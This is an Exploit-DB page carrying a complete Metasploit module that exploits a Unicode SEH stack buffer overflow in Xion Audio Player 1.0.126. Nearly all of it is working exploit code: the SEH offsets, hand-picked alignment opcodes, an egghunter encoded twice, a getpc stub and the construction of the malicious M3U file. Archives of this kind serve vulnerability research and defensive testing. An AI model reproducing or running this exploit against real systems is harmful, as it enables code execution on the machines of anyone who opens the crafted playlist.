Xion Audio Player 1.0.126 - Unicode Stack Buffer Overflow (Metasploit)

EDB-ID:

16653

CVE:

EDB Verified: ✓

Author:

METASPLOIT

Type:

LOCAL

Exploit: / {}

Platform:

WINDOWS

Date:

2010-12-16

Vulnerable App:

```
##
# $Id: xion_m3u_sehbof.rb 11353 2010-12-16 20:11:01Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Egghunter
    #include Msf::Exploit::Seh # unused due to special circumstances

    def initialize(info = {})
        super(update_info(info,
            'Name'      => 'Xion Audio Player 1.0.126 Unicode Stack Buffer
Overflow',
            'Description'   => %q{
                    This module exploits a stack buffer overflow in Xion
Audior Player prior to version
                1.0.126. The vulnerability is triggered when opening a
malformed M3U file that
                contains an overly long string. This results in overwriting
a
                structured exception handler record.
            },
            'License'   => MSF_LICENSE,
            'Version'   => "$Revision: 11353 $",
            'Author'    =>
                [
                    'hadji samir <s-dz [at] hotmail.fr>',  # Discovered the
bug
                    'corelanc0d3r',     # First working exploit
                    'digital1',         # First working exploit
                    'jduck',            # Alpha+Unicode encoding :-/
                    'm_101'             # Original and msf exploit
                ],
            'References'     =>
                [
                    #[ 'CVE', '' ],
                    [ 'OSVDB', '66912'],
                    [ 'URL', 'http://www.exploit-db.com/exploits/14517' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/14633' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/15598' ]
                ],
            'Payload'   =>
                {
                    'BadChars'  =>
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e",
                    'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
                    'EncoderOptions' =>
                        {
                            'BufferRegister' => 'EDI',  # egghunter jmp edi
                        }
                },
            'Platform'  => 'win',
            'Targets'   =>
                [
                    [ 'Xion Audio Player v1.0.126 XP Universal', { 'Offset'
=> 252, 'Ret' => "\x51\x43" } ]  #unicode p/p/r equivalent xion.exe
```

```
                ],
            'DisclosureDate' => 'Nov 23 2010',
            'DefaultTarget' => 0))

        register_options(
            [
                OptString.new('FILENAME', [ false, 'The output filename.',
'm_101_xion.m3u']),
                # seh offset depends on path length
                OptString.new('TARGETPATH', [ false, 'The target output.',
'C:\\'])
            ], self.class)
    end

    def exploit
        # seh chain
        # 5b            pop ebx
        # 00 43 00      add byte [ebx], al
        nseh = "\x5b\x43"
        # 51            push ecx
        # 00 43 00      add byte [ebx], al
        seh = target['Ret']

        # 37            aaa                     ; clear al bit 4 to 7
        # 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
        # 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
        # 39 00         cmp dword [eax], eax
        ecx = "\x37\x38"
        eax = "\x41\x39"

        # alignment code
        # 5a            pop edx
        # 00 43 00      add byte [ebx], al
        align = "\x5a\x43" * 2
        # 5c            pop esp
        # 00 43 00      add byte [ebx], al
        align += "\x5c\x43"
        # 61            popad
        # 00 41 00      add byte [ecx], al
        align += "\x61\x41"
        # junk code just for alignment
        # 37            aaa                     ; clear al bit 4 to 7
        # 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
        # 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
        # 39 00         cmp dword [eax], eax
        align << ecx
        align << eax

        hunter, egg = generate_egghunter(payload.encoded, payload_badchars,
{ :checksum => true })

        # Encode with alphamixed, then unicode mixed
        # thanks to jduck for this egghunter code snippet
        [ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
            enc = framework.encoders.create(name)
            if name =~ /unicode/
                enc.datastore.import_options_from_hash({ 'BufferRegister'
=> 'ESP' })
            else
                enc.datastore.import_options_from_hash({ 'BufferRegister'
=> 'EDX' })
            end
            # NOTE: we already eliminated badchars
            hunter = enc.encode(hunter, nil, nil, platform)
            if name =~/alpha/
                #insert getpc_stub & align EDX, unicode encoder friendly.
                #Hardcoded stub is not an issue here because it gets
encoded anyway
                getpc_stub =
```

```
                getpc_stub =
"\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
                hunter = getpc_stub + hunter
            end
        }
        #tweak hunter, patched to make it write to ECX
        hunter[1] = "a"

        # care must be taken : depends on PATHLEN
        seh_offset = 266 - datastore['TARGETPATH'].length
        sploit = rand_text_alphanumeric(seh_offset)
        # seh chain
        sploit << nseh << seh
        sploit << align
        sploit << hunter
        sploit << egg
        # if not long enough, it won't trigger the seh
        sploit << rand_text_alphanumeric(4000 - sploit.length)

        print_status("Creating '#{datastore['FILENAME']}' file ...")

        file_create(sploit)
    end
end
```

Tags: Metasploit Framework (MSF)

Advisory/Source: Link

Databases

Links

Sites

Solutions